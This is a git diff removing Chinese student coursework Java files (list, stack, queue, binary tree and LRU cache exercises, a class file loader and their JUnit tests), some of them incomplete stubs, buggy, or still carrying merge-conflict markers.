diff --git a/group23/565832157/src/com/coderising/litestruts/View.java b/group23/565832157/src/com/coderising/litestruts/View.java
deleted file mode 100644
index 07df2a5dab..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/565832157/src/com/coding/basic/ArrayList.java b/group23/565832157/src/com/coding/basic/ArrayList.java
deleted file mode 100644
index 1f185736f9..0000000000
--- a/group23/565832157/src/com/coding/basic/ArrayList.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = new Object[100];
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index, Object o){
-		
-	}
-	
-	public Object get(int index){
-		return null;
-	}
-	
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public Iterator iterator(){
-		return null;
-	}
-	
-}
diff --git a/group23/565832157/src/com/coding/basic/BinaryTreeNode.java b/group23/565832157/src/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index d7ac820192..0000000000
--- a/group23/565832157/src/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group23/565832157/src/com/coding/basic/Iterator.java b/group23/565832157/src/com/coding/basic/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group23/565832157/src/com/coding/basic/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/565832157/src/com/coding/basic/LinkedList.java b/group23/565832157/src/com/coding/basic/LinkedList.java
deleted file mode 100644
index 7d037a6428..0000000000
--- a/group23/565832157/src/com/coding/basic/LinkedList.java
+++ /dev/null
@@ -1,265 +0,0 @@
-<<<<<<< HEAD:liuxin/src/com/coding/basic/LinkedList.java
-package com.coding.basic;
-
-public class LinkedList implements List {
-	private int size;
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		
-		return size;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 			head   				 head
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public void reverse(){	
-		/**
-		 * 长度超过1的单链表需要逆转
-		 */
-		if(size>1){
-			Node pre = head;
-			Node cur = head.next;
-			Node next = null;
-			while(cur!=null){
-				next = cur.next;
-				cur.next = pre;
-				pre = cur;
-				cur = next;
-			}
-			
-		}
-	}
-	
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始,删除length个元素 ,注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public LinkedList intersection(LinkedList list){
-		
-		return null;
-	}
-}
-=======
-package com.coding.basic;
-
-public class LinkedList implements List {
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
->>>>>>> upstream/master:group23/565832157/src/com/coding/basic/LinkedList.java
diff --git a/group23/565832157/src/com/coding/basic/List.java b/group23/565832157/src/com/coding/basic/List.java
deleted file mode 100644
index 10d13b5832..0000000000
--- a/group23/565832157/src/com/coding/basic/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/565832157/src/com/coding/basic/Queue.java b/group23/565832157/src/com/coding/basic/Queue.java
deleted file mode 100644
index 36e516e266..0000000000
--- a/group23/565832157/src/com/coding/basic/Queue.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coding.basic;
-
-public class Queue {
-	
-	public void enQueue(Object o){		
-	}
-	
-	public Object deQueue(){
-		return null;
-	}
-	
-	public boolean isEmpty(){
-		return false;
-	}
-	
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/565832157/src/com/coding/basic/Stack.java b/group23/565832157/src/com/coding/basic/Stack.java
deleted file mode 100644
index a5a04de76d..0000000000
--- a/group23/565832157/src/com/coding/basic/Stack.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.basic;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-	}
-	
-	public Object pop(){
-		return null;
-	}
-	
-	public Object peek(){
-		return null;
-	}
-	public boolean isEmpty(){
-		return false;
-	}
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/601689050/.gitattributes b/group23/601689050/.gitattributes
deleted file mode 100644
index bdb0cabc87..0000000000
--- a/group23/601689050/.gitattributes
+++ /dev/null
@@ -1,17 +0,0 @@
-# Auto detect text files and perform LF normalization
-* text=auto
-
-# Custom for Visual Studio
-*.cs     diff=csharp
-
-# Standard to msysgit
-*.doc	 diff=astextplain
-*.DOC	 diff=astextplain
-*.docx diff=astextplain
-*.DOCX diff=astextplain
-*.dot  diff=astextplain
-*.DOT  diff=astextplain
-*.pdf  diff=astextplain
-*.PDF	 diff=astextplain
-*.rtf	 diff=astextplain
-*.RTF	 diff=astextplain
diff --git a/group23/601689050/1List&BinaryTreeNode/ArrayList.java b/group23/601689050/1List&BinaryTreeNode/ArrayList.java
deleted file mode 100644
index 5a4169dc9b..0000000000
--- a/group23/601689050/1List&BinaryTreeNode/ArrayList.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.bjsxd.test;
-
-public class ArrayList implements List {
-    private Object[] elementData = new Object[100];
-    private int size = 0;
-    Object[] temp = null;
-
-    public void add(Object o) {
-        if (size < elementData.length) {
-            size++;
-            Object[] target = new Object[elementData.length + size];
-            System.arraycopy(elementData, 0, target, 0, elementData.length);
-            elementData[size] = o;
-        }
-    }
-
-    public void add(int index, Object o) {
-        if (index < 0 || o == null) {
-            throw new IllegalArgumentException("��Ӷ������");
-        } else if (index <= elementData.length) {
-            add(o);
-        } else if (index > elementData.length) {
-            throw new IllegalArgumentException("��Ӷ���Խ��");
-        }
-
-        if (size <= elementData.length) {
-            this.size++;
-        }
-        Object[] target = new Object[this.size];
-        System.arraycopy(elementData, 0, target, 0, index);
-        target[index] = o;
-        System.arraycopy(elementData, index, target, index + 1, elementData.length - index);
-    }
-
-    public Object get(int index) {
-        if (index < 0 || index >= elementData.length) {
-            return false;
-        } else {
-            return elementData[index];
-        }
-    }
-
-    public Object remove(int index) {
-        if (index < 0 || index >= elementData.length) {
-            throw new IllegalArgumentException("ɾ�����󲻴���");
-        } else {
-            for (int i = index; i < elementData.length; i++) {
-                elementData[i] = elementData[i + 1];
-            }
-            return elementData[index];
-        }
-    }
-
-    public int size() {
-        return this.size;
-    }
-
-}
diff --git a/group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java b/group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java
deleted file mode 100644
index 3687306f5e..0000000000
--- a/group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.bjsxd.test;
-
-public class BinaryTreeNode {
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	private BinaryTreeNode root;
-	
-	public BinaryTreeNode(BinaryTreeNode root){
-		this.root = root;
-		
-	}
-	
-	public BinaryTreeNode(BinaryTreeNode left,BinaryTreeNode right,Object data){
-		this.left = left;
-		this.right = right;
-		this.data = data;
-	}
-	
-	public void buildTree(){
-		
-	}
-	
-	public BinaryTreeNode(Object data){
-		this(null,null,data);
-	}
-	 public Object getData(){
-		 return data;
-	 }
-	 public void setData(Object data){
-		 this.data = data;
-	 }
-	 public BinaryTreeNode getLeft(){
-		 return left;
-	 }
-	 public void setLeft(BinaryTreeNode left){
-		 this.left = left;
-		
-	 }
-	 public BinaryTreeNode getRight(){
-		 return right;
-	 }
-	 public void setRight(BinaryTreeNode right){
-		 this.right = right;
-	 }
-	 public BinaryTreeNode insert(Object o){
-		 return null;
-	 }
-
-}
diff --git a/group23/601689050/1List&BinaryTreeNode/Iterator.java b/group23/601689050/1List&BinaryTreeNode/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group23/601689050/1List&BinaryTreeNode/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/601689050/1List&BinaryTreeNode/LinkedList.java b/group23/601689050/1List&BinaryTreeNode/LinkedList.java
deleted file mode 100644
index ee173bec67..0000000000
--- a/group23/601689050/1List&BinaryTreeNode/LinkedList.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package com.bjsxd.test;
-
-public class LinkedList implements List{
-	private static class Node{
-		Object data;
-		Node next;
-	}
-	private Node head;
-	private Node last;
-	public void add (Object o){
-		if (head == null){
-			head = new Node();
-			head.data = o;
-			head.next = null;
-		}else{
-			Node MyNode = new Node();
-			MyNode = head;
-			while (MyNode.next != null){
-				MyNode = MyNode.next;
-			}
-			Node AddNode = new Node();
-			MyNode.next = AddNode;
-			AddNode.data = o;
-		}
-	}
-	public void add(int index,Object o){
-		if(index<0 || o ==null){
-			throw new IllegalArgumentException("���Ӷ���λ�ó����Ҳ���Ϊ��");
-		}else if (index == 0 && head == null){
-			head = new Node();
-			head.data = o;
-			head.next = null;
-		}else if (index > 0 && head == null){
-			throw new IllegalArgumentException("���Ӷ���λ�ó���");
-		}else{
-			Node SrcNode = new Node();
-			Node AddNode = new Node();
-			Node SrcNode2 = new Node();
-			SrcNode = head;
-			for(int i=0;i<=index;i++){
-				SrcNode = SrcNode.next;
-			}
-			AddNode.next = SrcNode;
-			AddNode.data = o;
-			for (int i=0;i<index;i++){
-				SrcNode2 = SrcNode2.next;
-			}
-			SrcNode2.next = AddNode;
-		}
-	}
-	public Object get(int index){
-		Node SrcNode = new Node();
-		for (int i=0;i<index;i++){
-			SrcNode = SrcNode.next;
-		}
-		return SrcNode;
-	}
-	public Object remove(int index){
-		Node SrcNode = new Node();
-		Node TempNode = new Node();
-		Node MyNode = new Node();
-		MyNode = head;
-		int size = 0;
-		while (MyNode != null){
-			MyNode = MyNode.next;
-			size++;
-		}
-		if (index < 0 || index > size){
-		throw new IllegalArgumentException("ɾ������λ�ó���");	
-		}else{
-		for (int i=0;i<index;i++){
-			SrcNode = SrcNode.next;
-		}
-		TempNode =  SrcNode.next;
-		SrcNode.next = SrcNode.next.next;
-		return TempNode;
-		}
-	}
-	public int size(){
-		Node MyNode = new Node();
-		MyNode = head;
-		int size = 0;
-		while (MyNode != null){
-			MyNode = MyNode.next;
-			size++;
-		}
-		return size;
-	}
-	public void addFirst(Object o){
-		Node MyNode = new Node();
-		MyNode.data = o;
-		MyNode.next = head;
-		head.next = MyNode;
-	}
-	public Object removeFirst(){
-		Node MyNode = new Node();
-		MyNode.data = head.data;
-		head.next = head.next.next;
-		return MyNode;
-	}
-	public Object removeLast(){
-		Node TempNode = new Node();
-		Node MyNode = new Node();
-		MyNode = last;
-		TempNode = head;
-		int size = 0;
-		while (TempNode != null){
-			TempNode = TempNode.next;
-			size++;
-		}
-		for (int i = 0;i < size-1; i++){
-			TempNode = TempNode.next;
-		}
-		TempNode.next = null;
-		return MyNode;
-	}
-}
diff --git a/group23/601689050/1List&BinaryTreeNode/List.java b/group23/601689050/1List&BinaryTreeNode/List.java
deleted file mode 100644
index 863418df78..0000000000
--- a/group23/601689050/1List&BinaryTreeNode/List.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.bjsxd.test;
-
-public interface List {
-	public void add(Object o);
-	public void add (int index,Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-
-}
diff --git a/group23/601689050/1List&BinaryTreeNode/Queue.java b/group23/601689050/1List&BinaryTreeNode/Queue.java
deleted file mode 100644
index 1a975026a9..0000000000
--- a/group23/601689050/1List&BinaryTreeNode/Queue.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.bjsxd.test;
-
-public class Queue{
-	private Object[] Q;
-	int front;
-	int rear;
-	public Queue(){
-		Q = new Object[100];
-	}
-	public Queue(int size){
-		Q = new Object[size];
-		front = 0;
-		rear = 0;
-	}
-	public void enQueue(Object o){
-		if((rear+1)%Q.length == front){
-			System.out.println("ջ����");
-		}else{
-			Q[rear] = o;
-			rear = rear+1;
-		}
-	}
-	
-	public Object deQueue(){
-		if (rear == front)
-		return null;
-		else{
-			Object temp = Q[front];
-			front = front+1;
-			return temp;
-		}
-	}
-	
-	public boolean isEmpty(){
-		return rear == front;
-	}
-	
-	public int size(){
-		if(rear > front){
-			return rear - front;
-		}else
-			return Q.length-1;
-	}
-
-}
diff --git a/group23/601689050/1List&BinaryTreeNode/Stack.java b/group23/601689050/1List&BinaryTreeNode/Stack.java
deleted file mode 100644
index 106d2ecc7d..0000000000
--- a/group23/601689050/1List&BinaryTreeNode/Stack.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.bjsxd.test;
-
-public class Stack {
-	private int top = -1;
-	private Object[] elements;
-	private int size = 0;
-	public Stack(){
-		elements = new Object[100];
-	}
-	public void push (Object o){
-		elements[this.size] = o;
-		this.size++;
-	}
-	public Object pop(){
-		if (this.size != 0){
-			Object temp = elements[size-1];
-			elements[size-1]=0;
-			size--;
-			return temp;
-		}else{
-			System.out.println("ջ��");
-			return 0;
-		}
-	}
-	public Object peek(){
-		if(!this.isEmpty()){
-			Object temp = elements[this.size-1];
-			elements[this.size-1] = 0;
-			this.size--;
-			return temp;
-		}else{
-			System.out.println("ջ��");
-			return 0;
-		}
-	}
-	public boolean isEmpty(){
-		return this.size == 0;
-	}
-}
diff --git a/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java b/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java
deleted file mode 100644
index 3c6244ff90..0000000000
--- a/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package loader;
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import java.io.*;
-import java.util.ArrayList;
-import java.util.List;
-/**
- * Created by Lxx on 2017/4/23.
- */
-public class ClassFileLoader {
-    private List<String> clzPaths = new ArrayList<String>();
-
-    public byte[] readBinaryCode(String className) {
-
-        className = className.replace('.', File.separatorChar) +".class";
-
-        for(String path : this.clzPaths){
-
-            String clzFileName = path + File.separatorChar + className;
-            byte[] codes = loadClassFile(clzFileName);
-            if(codes != null){
-                return codes;
-            }
-        }
-
-        return null;
-
-
-
-    }
-
-    private byte[] loadClassFile(String clzFileName) {
-
-        File f = new File(clzFileName);
-
-        try {
-
-            return IOUtils.toByteArray(new FileInputStream(f));
-
-        } catch (IOException e) {
-            e.printStackTrace();
-            return null;
-        }
-    }
-
-
-
-    public void addClassPath(String path) {
-        if(this.clzPaths.contains(path)){
-            return;
-        }
-
-        this.clzPaths.add(path);
-
-    }
-
-
-
-    public String getClassPath(){
-        return StringUtils.join(this.clzPaths,";");
-    }
-
-
-}
diff --git a/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java b/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java
deleted file mode 100644
index 8e4e172f25..0000000000
--- a/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java
+++ /dev/null
@@ -1,86 +0,0 @@
-package test.loader;
-
-import loader.ClassFileLoader;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class ClassFileLoaderTest {
-    static String path1 = "D:\\JavaProject\\4week_minijvm\\out\\production\\4week_minijvm";
-    static String path2 = "D:\\temp";
-
-
-
-    @Before
-public void before() throws Exception { 
-} 
-
-@After
-public void after() throws Exception { 
-} 
-
-/** 
-* 
-* Method: readBinaryCode(String className) 
-* 
-*/
-public void testClassPath(){
-
-    ClassFileLoader loader = new ClassFileLoader();
-    loader.addClassPath(path1);
-    loader.addClassPath(path2);
-
-    String clzPath = loader.getClassPath();
-
-    Assert.assertEquals(path1+";"+path2,clzPath);
-
-}
-
-    @Test
-    public void testClassFileLength() {
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-
-        String className = "test.loader.EmployeeV1";
-
-        byte[] byteCodes = loader.readBinaryCode(className);
-
-        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-        Assert.assertEquals(1056, byteCodes.length);
-
-    }
-
-
-    @Test
-    public void testMagicNumber(){
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "test.loader.EmployeeV1";
-        byte[] byteCodes = loader.readBinaryCode(className);
-        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-
-
-        String acctualValue = this.byteToHexString(codes);
-
-        Assert.assertEquals("cafebabe", acctualValue);
-    }
-
-
-
-    private String byteToHexString(byte[] codes ){
-        StringBuffer buffer = new StringBuffer();
-        for(int i=0;i<codes.length;i++){
-            byte b = codes[i];
-            int value = b & 0xFF;
-            String strHex = Integer.toHexString(value);
-            if(strHex.length()< 2){
-                strHex = "0" + strHex;
-            }
-            buffer.append(strHex);
-        }
-        return buffer.toString();
-    }
-
-} 
diff --git a/group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java b/group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java
deleted file mode 100644
index f1989f3131..0000000000
--- a/group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package test.loader;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group23/601689050/4weekLRU&JVM/LRU/Iterator.java b/group23/601689050/4weekLRU&JVM/LRU/Iterator.java
deleted file mode 100644
index 96a43dbe0a..0000000000
--- a/group23/601689050/4weekLRU&JVM/LRU/Iterator.java
+++ /dev/null
@@ -1,5 +0,0 @@
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java b/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java
deleted file mode 100644
index c065298de9..0000000000
--- a/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/**
- * 用双向链表实现LRU算法
- * @author liuxin
- *
- */
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node() {
-		}
-	}
-
-	private int capacity;
-	
-	
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param
-	 * @return
-	 */
-	int size = 0;
-	public void access(int pageNum) {
-
-		if(size == 0){
-			Node node = new Node();
-			node.pageNum = pageNum;
-			node.prev = node.next = null;
-			first = last = node;
-			size++;
-		}else{
-			if(first.pageNum == pageNum){
-				return;
-			}
-			if(size == 1){
-				addToFirst(pageNum);
-			}else {
-				if (last.pageNum == pageNum) {
-					moveLastToFirst();
-					return;
-				}
-				Node iteratorNode = first;
-				while (iteratorNode.next != null && iteratorNode.pageNum != pageNum) {
-					iteratorNode = iteratorNode.next;
-				}
-				if (iteratorNode == last) {
-					addToFirst(pageNum);
-					if (size > capacity) {
-						last = last.prev;
-						last.next = null;
-					}
-				} else {
-				moveToFirst(iteratorNode);
-			}
-			}
-		}
-	
-	}
-
-	private void moveLastToFirst() {
-		last.next = first;
-		first.prev = last;
-		first = last;
-		last = last.prev;
-		last.next = null;
-		first.prev = null;
-	}
-	private void moveToFirst(Node iteratorNode){
-		iteratorNode.prev.next = iteratorNode.next;
-		iteratorNode.next.prev = iteratorNode.prev;
-		iteratorNode.prev = null;
-		iteratorNode.next = first;
-		first.prev = iteratorNode;
-		first = iteratorNode;
-	}
-
-	private void addToFirst(int pageNum) {
-		Node node = new Node();
-		node.pageNum = pageNum;
-		node.prev = null;
-		node.next = first;
-		first.prev = node;
-		first = node;
-		size++;
-	}
-
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-}
diff --git a/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java b/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java
deleted file mode 100644
index a7dd99ec58..0000000000
--- a/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java
+++ /dev/null
@@ -1,29 +0,0 @@
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-	}
-
-}
diff --git a/group23/601689050/4weekLRU&JVM/LRU/LinkedList.java b/group23/601689050/4weekLRU&JVM/LRU/LinkedList.java
deleted file mode 100644
index 4a71816e5d..0000000000
--- a/group23/601689050/4weekLRU&JVM/LRU/LinkedList.java
+++ /dev/null
@@ -1,313 +0,0 @@
-import java.util.Objects;
-import java.util.Stack;
-
-public class LinkedList implements List {
-	
-	private Node head;
-	private Node rear;
-	public boolean isEmpty(){
-		return true;
-	}
-	
-	public void add(Object o){
-		if(isEmpty())
-		addFirst(o);
-		else
-			addLast(o);
-	}
-	public void add(int index , Object o){
-		if(index<0 || o ==null){
-			throw new IllegalArgumentException("不合法");
-		} else if (index == 0 && head == null){
-			addFirst(o);
-		}else if(index>0 && head == null){
-			throw new IllegalArgumentException("不合法");
-		}else{
-			Node srcNode = (Node) this.get(index);
-			Node newNode = new Node();
-			newNode.data = o;
-			newNode.next = srcNode.next;
-			srcNode.next.previous = newNode;
-			srcNode.next = newNode;
-			newNode.previous = srcNode;
-		}
-	}
-	public Object get(int index){
-		Node newNode = new Node();
-		for(int i = 0;i<index;i++){
-			newNode = newNode.next;
-		}
-		return newNode;
-	}
-	public Object remove(int index){
-		Node srcNode = (Node)this.get(index);
-		srcNode.previous.next = srcNode.next;
-		srcNode.next.previous = srcNode.previous;
-		return srcNode.data;
-	}
-	
-	public int size(){
-		Node newNode = new Node();
-		newNode = head;
-		int size = 0;
-		while (newNode != rear){
-			newNode = newNode.next;
-			size++;
-		}
-		return size;
-	}
-	
-	public void addFirst(Object o){
-		Node newNode = new Node();
-		newNode.data = o;
-		if(isEmpty()){
-			rear = newNode;
-		}else{
-			head.previous = newNode;
-		}
-		newNode.next = head;
-		head = newNode;
-	}
-	public void addLast(Object o){
-		Node newNode = new Node();
-		newNode.data = o;
-		if(isEmpty()){
-			head = newNode;
-		} else {
-			rear.next = newNode;
-		}
-		newNode.previous = rear;
-		rear = newNode;
-	}
-	public Object removeFirst(){
-		if(isEmpty())
-		return null;
-		Node temp = head;
-		head = head.next;
-		if (head != null){
-			head.previous = null;
-		}else{
-			rear = null;
-		}
-		return temp.data;
-	}
-	public Object removeLast(){
-		if(isEmpty())
-		return null;
-		Node temp = rear;
-		rear = rear.previous;
-		if(rear != null){
-			rear.next = null;
-		} else {
-			head = null;
-		}
-		return  temp.data;
-	}
-	public Iterator iterator(){
-		Iterator ite = new Iterator() {
-			private Node temp = head;
-			@Override
-			public boolean hasNext() {
-				return temp != null;
-			}
-
-			@Override
-			public Object next() {
-				Object data = temp.data;
-				temp = temp.next;
-				return data;
-			}
-		};
-		return ite;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		Node previous;
-		
-	}
-	
